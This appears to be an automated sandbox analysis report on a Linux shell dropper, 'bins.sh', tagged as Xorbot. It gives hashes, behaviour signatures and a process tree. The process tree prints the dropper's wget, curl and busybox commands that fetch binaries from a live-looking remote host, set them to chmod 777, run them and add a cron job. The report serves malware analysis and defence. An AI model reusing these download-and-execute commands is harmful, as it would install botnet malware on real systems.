Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
150s -
max time network
151s -
platform
debian-9_mips -
resource
debian9-mipsbe-20240418-en -
resource tags
arch:mipsimage:debian9-mipsbe-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem -
submitted
28/02/2025, 03:16
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240508-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240418-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240611-en
General
-
Target
bins.sh
-
Size
10KB
-
MD5
e30ffb2eaaca92a1709929457fea3835
-
SHA1
74c6b5d3241f81e97f9ffb9cc0024d1891fca787
-
SHA256
ea613e9d026e2a4172b790331d44ed6ab4118b9dca3a6fbd53e0135b97e0d30b
-
SHA512
6ebd2a3b7566114e474308ecf3beb317db5e0434eafebebb917c39627d2a8501cedd6e28b5ff5d139f97b067587b628cc4464eb9444fa8af209988a3d987d45d
-
SSDEEP
192:lUhghhYFhgShMhQhq/P5tqUUZ+4hghhYFhgShMhQhq/PRsc:lUShOFSS2WqgUUI4ShOFSS2Wq
Malware Config
Signatures
-
resource yara_rule behavioral3/files/fstream-1.dat family_xorbot behavioral3/files/fstream-8.dat family_xorbot behavioral3/files/fstream-9.dat family_xorbot -
Xorbot family
-
Contacts a large (2053) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
-
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
-
File and Directory Permissions Modification 1 TTPs 5 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 855 chmod 758 chmod 816 chmod 840 chmod 848 chmod -
Executes dropped EXE 4 IoCs
ioc pid Process /tmp/1HRAG8odsOX0tziE1yOmqAplcocwscNM8H 759 bins.sh /tmp/4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE 818 bins.sh /tmp/vObsiQkRXhW7yfMFrunnLOkPLtgZLWSDHp 841 bins.sh /tmp/TROzoWng2czr7yN5hmIw2nL6RCDqHZtNoR 856 bins.sh -
Renames itself 1 IoCs
pid Process 819 4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE -
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/tmp.zQDCWd crontab -
Enumerates running processes
Discovers information about currently running processes on the system
-
description ioc Process File opened for reading /proc/905/cmdline 4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE File opened for reading /proc/940/cmdline 4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE File opened for reading /proc/1004/cmdline 4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/942/cmdline 4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE File opened for reading /proc/990/cmdline 4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE File opened for reading /proc/1043/cmdline 4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE File opened for reading /proc/835/cmdline 4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE File opened for reading /proc/847/cmdline 4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE File opened for reading /proc/869/cmdline 4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE File opened for reading /proc/966/cmdline 4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE File opened for reading /proc/986/cmdline 4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE File opened for reading /proc/1022/cmdline 4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE File opened for reading /proc/889/cmdline 4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE File opened for reading /proc/978/cmdline 4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE File opened for reading /proc/1122/cmdline 4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE File opened for reading /proc/1131/cmdline 4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE File opened for reading /proc/21/cmdline 4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE File opened for reading /proc/76/cmdline 4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE File opened for reading /proc/874/cmdline 4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE File opened for reading /proc/1128/cmdline 4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE File opened for reading /proc/1138/cmdline 4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE File opened for reading /proc/955/cmdline 4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE File opened for reading /proc/1061/cmdline 4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE File opened for reading /proc/1078/cmdline 4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE File opened for reading /proc/1102/cmdline 4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE File opened for reading /proc/1130/cmdline 4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE File opened for reading /proc/893/cmdline 4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE File opened for reading /proc/921/cmdline 4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE File opened for reading /proc/999/cmdline 4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE File opened for reading /proc/1024/cmdline 4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE File opened for reading /proc/1069/cmdline 4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE File opened for reading /proc/860/cmdline 4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE File opened for reading /proc/914/cmdline 4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE File opened for reading /proc/938/cmdline 4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE File opened for reading /proc/943/cmdline 4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE File opened for reading /proc/1027/cmdline 4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE File opened for reading /proc/1041/cmdline 4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE File opened for reading /proc/1094/cmdline 4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE File opened for reading /proc/1118/cmdline 4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE File opened for reading /proc/706/cmdline 4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE File opened for reading /proc/923/cmdline 4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE File opened for reading /proc/961/cmdline 4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE File opened for reading /proc/1015/cmdline 4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE File opened for reading /proc/1026/cmdline 4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE File opened for reading /proc/1031/cmdline 4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE File opened for reading /proc/1045/cmdline 4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE File opened for reading /proc/1051/cmdline 4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE File opened for reading /proc/115/cmdline 4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE File opened for reading /proc/974/cmdline 4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE File opened for reading /proc/989/cmdline 4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE File opened for reading /proc/1002/cmdline 4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE File opened for reading /proc/1012/cmdline 4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE File opened for reading /proc/1037/cmdline 4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE File opened for reading /proc/1075/cmdline 4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE File opened for reading /proc/37/cmdline 4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE File opened for reading /proc/908/cmdline 4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE File opened for reading /proc/920/cmdline 4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE File opened for reading /proc/925/cmdline 4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE File opened for reading /proc/1087/cmdline 4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE File opened for reading /proc/1129/cmdline 4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE File opened for reading /proc/880/cmdline 4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE File opened for reading /proc/1008/cmdline 4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE File opened for reading /proc/1021/cmdline 4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE -
System Network Configuration Discovery 1 TTPs 13 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 852 curl 854 busybox 859 wget 714 wget 739 curl 774 curl 837 curl 839 busybox 851 wget 753 busybox 764 wget 812 busybox 836 wget -
Writes file to tmp directory 8 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/TROzoWng2czr7yN5hmIw2nL6RCDqHZtNoR busybox File opened for modification /tmp/1HRAG8odsOX0tziE1yOmqAplcocwscNM8H wget File opened for modification /tmp/1HRAG8odsOX0tziE1yOmqAplcocwscNM8H curl File opened for modification /tmp/1HRAG8odsOX0tziE1yOmqAplcocwscNM8H busybox File opened for modification /tmp/4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE wget File opened for modification /tmp/4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE curl File opened for modification /tmp/4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE busybox File opened for modification /tmp/vObsiQkRXhW7yfMFrunnLOkPLtgZLWSDHp busybox
Processes
-
/tmp/bins.sh/tmp/bins.sh1⤵
- Executes dropped EXE
PID:709 -
/bin/rm/bin/rm bins.sh2⤵PID:712
-
-
/usr/bin/wgetwget http://conn.masjesu.zip/bins/1HRAG8odsOX0tziE1yOmqAplcocwscNM8H2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:714
-
-
/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/1HRAG8odsOX0tziE1yOmqAplcocwscNM8H2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:739
-
-
/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/1HRAG8odsOX0tziE1yOmqAplcocwscNM8H2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:753
-
-
/bin/chmodchmod 777 1HRAG8odsOX0tziE1yOmqAplcocwscNM8H2⤵
- File and Directory Permissions Modification
PID:758
-
-
/tmp/1HRAG8odsOX0tziE1yOmqAplcocwscNM8H./1HRAG8odsOX0tziE1yOmqAplcocwscNM8H2⤵PID:759
-
-
/bin/rmrm 1HRAG8odsOX0tziE1yOmqAplcocwscNM8H2⤵PID:763
-
-
/usr/bin/wgetwget http://conn.masjesu.zip/bins/4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:764
-
-
/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:774
-
-
/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:812
-
-
/bin/chmodchmod 777 4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE2⤵
- File and Directory Permissions Modification
PID:816
-
-
/tmp/4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE./4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE2⤵
- Renames itself
- Reads runtime system information
PID:818 -
/bin/shsh -c "crontab -l"3⤵PID:820
-
/usr/bin/crontabcrontab -l4⤵PID:821
-
-
-
/bin/shsh -c "crontab -"3⤵PID:824
-
/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
PID:825
-
-
-
-
/bin/rmrm 4qItAVftcqmQ8V1iaiaLSzIlROBySMlYjE2⤵PID:833
-
-
/usr/bin/wgetwget http://conn.masjesu.zip/bins/vObsiQkRXhW7yfMFrunnLOkPLtgZLWSDHp2⤵
- System Network Configuration Discovery
PID:836
-
-
/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/vObsiQkRXhW7yfMFrunnLOkPLtgZLWSDHp2⤵
- System Network Configuration Discovery
PID:837
-
-
/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/vObsiQkRXhW7yfMFrunnLOkPLtgZLWSDHp2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:839
-
-
/bin/chmodchmod 777 vObsiQkRXhW7yfMFrunnLOkPLtgZLWSDHp2⤵
- File and Directory Permissions Modification
PID:840
-
-
/tmp/vObsiQkRXhW7yfMFrunnLOkPLtgZLWSDHp./vObsiQkRXhW7yfMFrunnLOkPLtgZLWSDHp2⤵PID:841
-
-
/bin/rmrm vObsiQkRXhW7yfMFrunnLOkPLtgZLWSDHp2⤵PID:843
-
-
/usr/bin/wgetwget http://conn.masjesu.zip/bins/793z21RYyiZLgyJRKzbE3NlntH0woLWKa02⤵PID:844
-
-
/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/793z21RYyiZLgyJRKzbE3NlntH0woLWKa02⤵
- Reads runtime system information
PID:845
-
-
/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/793z21RYyiZLgyJRKzbE3NlntH0woLWKa02⤵PID:847
-
-
/bin/chmodchmod 777 793z21RYyiZLgyJRKzbE3NlntH0woLWKa02⤵
- File and Directory Permissions Modification
PID:848
-
-
/tmp/793z21RYyiZLgyJRKzbE3NlntH0woLWKa0./793z21RYyiZLgyJRKzbE3NlntH0woLWKa02⤵PID:849
-
-
/bin/rmrm 793z21RYyiZLgyJRKzbE3NlntH0woLWKa02⤵PID:850
-
-
/usr/bin/wgetwget http://conn.masjesu.zip/bins/TROzoWng2czr7yN5hmIw2nL6RCDqHZtNoR2⤵
- System Network Configuration Discovery
PID:851
-
-
/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/TROzoWng2czr7yN5hmIw2nL6RCDqHZtNoR2⤵
- System Network Configuration Discovery
PID:852
-
-
/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/TROzoWng2czr7yN5hmIw2nL6RCDqHZtNoR2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:854
-
-
/bin/chmodchmod 777 TROzoWng2czr7yN5hmIw2nL6RCDqHZtNoR2⤵
- File and Directory Permissions Modification
PID:855
-
-
/tmp/TROzoWng2czr7yN5hmIw2nL6RCDqHZtNoR./TROzoWng2czr7yN5hmIw2nL6RCDqHZtNoR2⤵PID:856
-
-
/bin/rmrm TROzoWng2czr7yN5hmIw2nL6RCDqHZtNoR2⤵PID:858
-
-
/usr/bin/wgetwget http://conn.masjesu.zip/bins/XwcKEJ4NYheS4knaVDSJj3bPnjJ3EEnRsc2⤵
- System Network Configuration Discovery
PID:859
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
127KB
MD589077b7bd4bcafca7713be43635c4862
SHA1fc02edb8fba29ea8ee99e6157ef8560334530052
SHA25678416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
SHA5121b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1
-
Filesize
151KB
MD53c90d5820bddcf7c5d1bd21dfa49d958
SHA15ba05bd489e50af97d6dc45e3a0be60e494d5083
SHA256bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
SHA51254a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a
-
Filesize
98KB
MD55141342d0df8699fa32a6b066a0c592e
SHA18157673225bd5182f16215e2aa823a25ca2d4fbc
SHA25654302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
SHA512d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801
-
Filesize
122KB
MD5cd3d4b9c643e5b473fb4d88ed05f0716
SHA164ee7a97418583d759eaea8000890cc3bae1b5f4
SHA2560cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
SHA512164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52
-
Filesize
210B
MD5853aee705fc2240139454b4eaff764ac
SHA144476595b2df8a0ec66c2b97a3e2c61f8bf76cff
SHA2562c880f14462d8520bc7be62ac7ec873ef51303feeb837d6f816c31ba21fd8281
SHA5125665e36a4b26cb324e959aa866e140764f60227c92daefd21e7955af7466be5bf191ae493de6ac3b9c60f032e63b0c2a159d1b2122e309ac534601b140b929a8